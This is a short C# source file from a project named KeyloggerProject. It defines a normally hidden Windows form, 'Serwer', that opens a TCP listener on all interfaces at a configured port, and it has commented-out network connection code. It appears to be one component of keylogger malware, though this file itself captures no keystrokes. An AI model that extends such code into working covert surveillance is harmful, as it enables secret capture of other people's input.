﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

using System.Net;
using System.Net.Sockets;

namespace KeyloggerProject
{
    public partial class Serwer : Form
    {
        bool Debag;
        TcpListener tcplistener = null;
        public Serwer(bool debagmode)
        {
            Debag = debagmode;
            InitializeComponent();
            if(Configuration.DebagMode)
                Show();
        }
        private void Serwer_Load(object sender, EventArgs e)
        {
            try
            {
                tcplistener = new TcpListener(IPAddress.Any,Configuration.Serwer.LanPort);
                tcplistener.Start();
            }
            catch (Exception ex)
            {
                Runer.AddException("Serwer: ", ex);
            }
            //if(Configuration.Serwer.Network)
            //    NetworkConnection = new NetworkClass(Configuration.NetworkSerwerAdress,2500,"SerwerNetwork");
            //if (Configuration.Serwer.Lan)
            //    LanConnection = new NetworkClass(Configuration.Serwer.LanPort,"SerwerLan");
        }
    }
}
